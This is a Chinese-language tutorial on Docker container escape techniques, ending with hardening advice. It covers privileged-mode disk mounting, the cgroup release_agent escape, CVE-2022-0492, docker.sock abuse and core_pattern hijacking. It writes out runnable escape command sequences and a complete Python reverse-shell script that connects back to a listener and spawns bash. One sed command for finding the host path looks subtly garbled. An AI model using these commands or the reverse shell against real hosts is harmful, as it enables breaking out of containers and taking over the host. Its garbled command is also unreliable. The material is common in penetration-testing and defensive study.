Docker逃逸技术
字数 1643 2025-08-23 18:31:34
Docker逃逸技术全面解析
1. 特权模式逃逸
1.1 特权模式概述
当Docker容器以--privileged参数启动时,容器将获得所有Linux Capabilities权限,这可能导致容器逃逸。
docker run -it --rm --privileged ubuntu /bin/bash
1.2 检测特权模式
在容器中检查特权模式:
cat /proc/self/status | grep CapEff
特权模式下CapEff值为0000003fffffffff。
1.3 利用方法
- 挂载宿主机设备:
mkdir /pwn
mount /dev/sda1 /pwn
chroot /pwn
- 通过挂载/etc目录写入计划任务获取宿主机权限
2. cgroup notify_on_release逃逸
2.1 cgroup机制基础
- 子系统(Subsystem):资源控制器,如cpu、memory等
- 层级(Hierarchy):子系统必须附加到的层级
- 控制组群(Control Group):资源控制单位
- 任务(Task):系统进程
2.2 利用原理
当notify_on_release设置为1时,cgroup中最后一个任务退出时会执行release_agent指定的文件。
2.3 攻击流程
- 创建并挂载cgroup:
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
- 创建自定义子系统:
mkdir /tmp/cgrp/x
- 启用notify_on_release:
echo 1 > /tmp/cgrp/x/notify_on_release
- 获取宿主机路径(通过OverlayFS的upperdir):
host_path=`sed -n 's/.*\upperdir=$[^,]*$.*/\1/p' /etc/mtab`
- 创建payload:
echo '#!/bin/sh' > /cmd
echo "touch /pwned" >> /cmd
chmod a+x /cmd
- 设置release_agent:
echo "$host_path/cmd" > /tmp/cgrp/release_agent
- 触发执行:
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
3. CVE-2022-0492 (bypass sys_admin)
3.1 利用条件
关闭AppArmor和Seccomp:
docker run --security-opt apparmor=unconfined --security-opt seccomp=unconfined ubuntu bash
3.2 利用方法
- 创建新namespace:
unshare -UrmC bash
- 挂载cgroup:
mkdir /tmp/cgroup && mount -t cgroup -o rdma cgroup /tmp/cgroup
- 后续步骤与notify_on_release逃逸相同
4. 重写devices.allow逃逸
4.1 devices子系统
devices.allow:允许访问的设备列表devices.deny:禁止访问的设备列表devices.list:设备黑白名单
4.2 攻击流程
通过debugfs写入设备权限,实现逃逸。
5. docker.sock挂载逃逸
5.1 利用原理
当容器挂载了/var/run/docker.sock时,可以通过与Docker daemon通信创建新容器实现逃逸。
5.2 攻击流程
- 容器启动时挂载docker.sock:
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu
-
在容器内安装docker客户端
-
通过docker.sock与宿主机daemon交互,创建特权容器
6. 挂载/proc逃逸
6.1 利用原理
通过修改/proc/sys/kernel/core_pattern实现命令执行。
6.2 攻击流程
- 挂载proc目录:
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
-
获取容器在宿主机上的绝对路径
-
创建反弹shell脚本(Python示例):
#!/usr/bin/python3
import os
import pty
import socket
lhost = "127.0.0.1"
lport = 2333
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
s.close()
if __name__ == "__main__":
main()
-
创建会抛出段错误的程序
-
修改core_pattern:
echo -e "|$host_path/test.py \rcore" > /host-proc/sys/kernel/core_pattern
- 运行段错误程序触发反弹shell
7. 程序漏洞与内核漏洞
7.1 runC容器逃逸漏洞 (CVE-2019-5736)
影响版本:
- Docker < 18.09.2
- runC < 1.0-rc6
利用条件:攻击者可重写宿主机上的runc二进制文件
7.2 Docker cp命令漏洞 (CVE-2019-14271)
利用方法:
- 在容器中替换libnss.so等库
- 当执行docker cp时注入恶意代码
7.3 DirtyCow (CVE-2016-5195)
Linux内核提权漏洞,可用于容器逃逸。
7.4 DirtyPipe (CVE-2022-0847)
允许向任意可读文件写入数据,可导致非特权进程向root进程注入代码。
防御建议
- 避免使用
--privileged参数 - 及时更新Docker和内核版本
- 限制容器能力,使用
--cap-drop=ALL和--cap-add按需添加 - 启用AppArmor和Seccomp
- 避免挂载敏感目录如
/proc、/var/run/docker.sock等 - 使用只读文件系统(
--read-only) - 定期审计容器配置和运行状态